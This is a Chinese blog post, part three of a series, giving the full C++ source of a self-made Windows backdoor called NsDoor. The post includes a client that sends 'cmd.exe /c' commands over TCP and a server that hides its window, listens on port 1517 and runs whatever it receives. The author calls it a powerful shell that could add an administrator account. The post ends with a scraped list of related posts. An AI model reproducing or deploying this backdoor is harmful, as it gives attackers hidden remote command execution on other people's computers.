循环渐进NsDoor(三)
#include<string.h>
#include<winsock.h>
#pragma comment(lib,"Ws2_32")
using std::cout;
using std::endl;
using std::cin;
//void ConnStrFilter(char* ConnStr,char* ip,char* pro);
int main()
{
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<" - -"<<endl;
cout<<" - Welcome to a magic world,NewSketcher~ -"<<endl;
cout<<" - -"<<endl;
cout<<" - QQ:381002948 E-mail:ns517@126.com -"<<endl;
cout<<" - -"<<endl;
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<endl;
int PORT = 0;
SOCKET sockfd;
struct sockaddr_in their_addr;
//char* connStr;
char IP[16] = {0};
cout<<"Connect IP&Port:";
cin>>IP>>PORT;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
cout<<"socket error"<<endl;
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr.s_addr = inet_addr(IP);
if(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1)
{
cout<<"connect error"<<endl;
system("pause");
closesocket(sockfd);
exit(1);
}
cout<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵
char CmdLine[200] = {0};
char CmdLineStr[200] = {0};
char Buf[1024] = {0};
memset(CmdLineStr,0,200);
while(true)
{
cout<<"CmdLine:"">";
cin.getline(CmdLineStr,sizeof CmdLineStr);
if(*CmdLineStr == 0)
continue;
if( CmdLineStr[0]=='e' && CmdLineStr[1]=='x' && CmdLineStr[2]=='i' && CmdLineStr[3]=='t')
{
cout<<"this is the end;"<<endl;
break;
}
strcat_s(CmdLine,200,"cmd.exe /c");
strcat_s(CmdLine,200,CmdLineStr);
if( send(sockfd,CmdLine,200,0) == -1)
{
cout<<"send cmdline error~"<<endl;
continue;
}
recv(sockfd,Buf,1024,0);
cout<<Buf<<endl;
memset(Buf,0,1024);
memset(CmdLineStr,0,200);
memset(CmdLine,0,200);
}
closesocket(sockfd);
return 0;
}
/*void ConnStrFilter(char* ConnStr,char* ip,char* pro)
{
while(*ConnStr != ' ')
{
*ip++ = *ConnStr++;
}
*ip '"0';
ConnStr++;
strcpy_s(pro,6,ConnStr);
}*/
客户端比较简单吧,连废掉的代码也一起贴出来了》。。
再来服务端:
//NsServer2 如何让一函数执行一定时间未返回就强制结束它.?
#include<iostream>
#include<winsock2.h>
using std::cout;
using std::endl;
#pragma comment(lib,"Ws2_32")
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏
int main()
{
const int PORT = 1517;
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决
int sockfd,new_fd;
int sin_size;
int ret;
char Buf[1024];
struct sockaddr_in server_addr;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = ADDR_ANY;
ret = bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr);
ret = listen(sockfd,BACKLOG);
sin_size = sizeof server_addr;
new_fd = accept(sockfd,(struct sockaddr*)&server_addr,&sin_size);
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength = 12;//还好不是幻数,oh.
pipeattr.bInheritHandle = true;
pipeattr.lpSecurityDescriptor = 0;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);//ZeroMemory类函数有比strcpy的好处.00
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
CreateProcessA(NULL,"cmd.exe /c",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//cout<<"i am ready.."<<endl;
/*while(true)
{
PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
cout<<"here"<<endl;
if(lBytesRead)
{
cout<<"here coutn"<<endl;
CloseHandle(hWritePipe);
ret = ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret)
{
cout<<"readfile error"<<endl;
system("pause");
continue;
}
cout<<Buf<<endl;
ret = send(new_fd,Buf,lBytesRead,0);
if(ret<=0)
{
cout<<"send information error"<<endl;
continue;
}
}
else
{
/*while(Buf[pBuf-Buf-1] != '~')
{
recv(new_fd,pBuf,1024,0);
pBuf++;
}
Buf[pBuf-Buf-1] = '"0';
lBytesRead = pBuf-Buf-1;
strcpy(cmdLine,"cmd.exe /c");// /c 和/k这个是个问题.单通道的不爽之处 需要‘&’辅助..
cout<<"connect success"<<endl;
strncat(cmdLine,Buf,lBytesRead);//安全新版本,哈哈
cout<<cmdLine<<endl;
if( (lBytesRead = recv(new_fd,cmdLine,200,0)) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//在这里我遇到了传说中的编译器不兼容问题,累死最终改用调用ASC版本,注意第二和第九个参数.
//send(new_fd,"bad command"n",20,0);
memset(cmdLine,0,200);
}
}*/
/*while(true)
{
if( lBytesRead = recv(new_fd,cmdLine,200,0) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//CloseHandle(hWritePipe);
//Sleep(100);
/*while(true)
{
if(!ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL))
break;
cout<<lBytesRead<<endl<<Buf<<endl;
while(send(new_fd,Buf,1024,0) == -1)
{
cout<<"send error"<<endl;
}
memset(Buf,0,1024);
Sleep(100);
}*/
/*while(true)
{
ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL);
if(lBytesRead)
break;
send(new_fd,Buf,1024,0);
memset(Buf,0,1024);
}
cout<<"over"<<endl;
send(new_fd,"over",5,0);
while(1)
{
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd" & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,合成后启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
}*/
while(1)
{
Sleep(1000);//多睡会.
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(new_fd,Buf,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(new_fd,cmdLine,1024,0);
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//cout<<cmdLine<<endl;
memset(cmdLine,0,200);
}
}
closesocket(sockfd);
closesocket(new_fd);
return 0;
}
以上测试结果都是完全正确的,可见服务端可以作为一个比较强大的shell,你可以输入添加一个管理员的CMD命令,只不过我是用的VISTA本本,所以就不测试这个强大的命令了
转载于:https://www.cnblogs.com/ns517/archive/2008/10/04/1303748.html
循环渐进NsDoor(三)相关推荐
- 循环渐进NsDoor(七)
本来这个和上一篇就是连着的,但是上一篇也太长了点 所以在这再开始 //#include<iostream> #include<winsock2.h> #pragma com ...
- 循环渐进NsDoor(五)
虚拟机已经配好了,开发环境好了,剩下的就是不辞辛苦,写代码的事情了 高级语言写程序大家都见过,汇编也有一部分人用,但是用的不多,但是反汇编的魅力却很少有人注意 首先要说下shellcode的原 ...
- 循环渐进NsDoor(一)
基本前三节的内容我都思考好了,甚至代码都写好了,甚至我都测试成功了- 但是,这节还是只写windows socket编程的基础内容,为了存点底,然后最近又没时间继续向下想- 这次实现一个socket服 ...
- 用python找出所有三位数中的水仙花数_python使用循环打印所有三位数水仙花数的实例...
首先水仙花数是什么? 水仙花数(Narcissistic number)也被称为超完全数字不变数(pluperfect digital invariant, PPDI).自恋数.自幂数.阿姆斯壮数或阿 ...
- python打印所有的水仙花数_python使用循环打印所有三位数水仙花数的实例
首先水仙花数是什么? 水仙花数(Narcissistic number)也被称为超完全数字不变数(pluperfect digital invariant, PPDI).自恋数.自幂数.阿姆斯壮数或阿 ...
- for循环中的三语句执行顺序
for循环的执行语法是: for(<:初始化>;<条件表达式>;<增量>) 语句: 初始化总是一个赋值语句,它用来给循环控制变量赋初值:条件表达式是一个关系表达式, ...
- 关于OC取名循环渐进的申明
语本<论语·宪问>有云:"不怨天,不尤人,下学而上达,知我者其天乎." 宋朱熹集注:"但知下学而自然上达,此但自言其反己自修,循序渐进耳." 明袁宗 ...
- Windows循环渐进-Ping程序实现代码
Windows循环渐进书籍中Ping程序实现代码 #include "stdio.h" #include "iostream.h" #include " ...
- android软件开发之webView.addJavascriptInterface循环渐进【二】
说明 文章列表 android软件开发之webView.addJavascriptInterface循环渐进[一]: http://www.sollyu.com/android-software-de ...
最新文章
- virtualbox配置apache_VirtualBox虚拟机网络设置(四种方式)
- 用python进行自然语言处理_Python自然语言处理示例:SVM和贝叶斯分类
- srtvlet filter
- ASP.NET中数据有效性校验的方法
- st-link v2怎么连接_三相交流电源的三角形和星形连接
- 25--最后一个单词的长度
- 去除div css背景,jQuery-拖动div CSS背景
- Google的十个核心技术
- 深度 | 无法找到“黑点”的代码,连顶级黑客也束手无策
- 我常去的编程技术网站
- 8086CPU时序概念
- ubuntu14.10搭建dhcp服务器
- 一个屌丝程序猿的人生(二十一)
- 要嫁就嫁个37度男人
- matebook13写JAVA_大上黑白电子墨水屏显示器Paperlike HD-FT使用体验
- 邮箱前缀是什么?该怎么设置?
- 深度强化学习主流算法介绍(二):DPG系列
- 速盘显示无法连接到服务器,速盘Speedpan IP限制/账号限制的解决办法
- 异或 ^ 的几个作用
- 魔术包唤醒_什么是唤醒计算机的“魔术包”?
热门文章
- 这是一份简易的ACM模板
- 【CCCC】L2-026 小字辈 (25分),求多叉树的深度和底层叶节点
- 【双路E5装机】2016.7.31整机升级计划
- NYOJ813 - 对决
- java final形参_求高手回答final形参问题
- JavaScript数据类型之Boolean以及undefined和null(4)
- 计算机网络交换机组网及虚拟局域网实验报告,计算机网络实验报告材料(虚拟局域网).doc...
- Daydream -区间技巧
- 2018届c++B 格雷码;调手表(lowbit运算)
- C++string字符串1.2